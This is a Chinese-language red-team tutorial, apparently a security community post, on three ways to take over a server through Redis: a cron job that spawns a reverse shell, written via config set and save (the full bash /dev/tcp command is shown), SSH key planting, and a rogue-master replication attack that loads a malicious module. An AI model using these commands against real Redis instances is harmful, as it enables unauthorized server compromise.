更多实战内容,可前往无问社区查看http://www.wwlib.cn/index.php/artread/artid/10333.html
Redis是我们在实战中经常接触到的一款数据库,因其在前期打点中被利用后可直接影响服务器安全所以在攻防过程中也备受红队关注,在本文中会重点分享一下与之有关的一些攻击技术,同时探究其中的技术原理。
注意:由于Redis的语法不同于其他数据库,所以更为详细的语法介绍建议各位前往Reids官网(https://redis.io/commands?from=QuickRedis)进行查阅。
方法1:创建计划任务反弹SHELL
执行命令:
config set dir /var/spool/cron
set bmz "\n* * * * * bash -i >& /dev/tcp/192.168.0.128/7890 0>&1\n"
config set dbfilename root
查看系统的计划任务的时候能看到,已经新增了我们所添加的计划任务(因为文章分了两天写,网络环境有变动,所以下图的IP与端口与上文的不一致)。
为什么会这样?在进行这项攻击操作的时候前几项都是赋值的操作,只有最后的save命令比较可疑,在Redis的官网上是这么描述save命令的。
这些命令执行数据集的同步保存,生成 Redis 实例内所有数据的时间点快照,格式为 的 RDB 文件。SAVE
所以这里我们可以验证一下,定义多个变量然后save,查看下文件内容。
能够看到我们的操作赋值已经全部写入了dbfilename变量指定的文件中。
清楚了这个情况之后,接下来所讲的通过写入ssh 公钥来获取主机访问权限就很容易理解了。
方法2:通过写入SSH公钥获取系统访问权限
在我们的攻击机上面生成后续需要上传到靶机的公钥
之后我们的攻击机即可远程登录靶机系统。
这个过程与方法一是完全一样的,所以依据这个原理我们便可以去尝试更多的利用方式了。
方法3:主从复制获取系统权限
主从复制利用了redis支持接受外部扩展以此来丰富所支持的命令的问题。通过伪造redis主服务器并在上面加载恶意外部扩展文件,向各个从服务器下发恶意外部扩展文件,这里的从服务器其实也就是我们所控制的安装了redis的服务器,当从服务器加载了外部扩展后,即可执行恶意外部扩展的代码,以下是提供的案例演示。
首先还是设置好我们的主目录以及恶意扩展的文件名,之后通过slaveof命令来连接我们伪造的主服务器。
主服务器的工作很简单,生成一个恶意外部扩展文件,并且运行监听程序即可。
加载我们的恶意外部扩展。
这个时候在redis中已经有了我们的扩展命令,可以执行我们想要执行的任何命令,当然也不必局限于执行命令,由于外部扩展代码使我们所定义的,所以也可以实现其他的功能。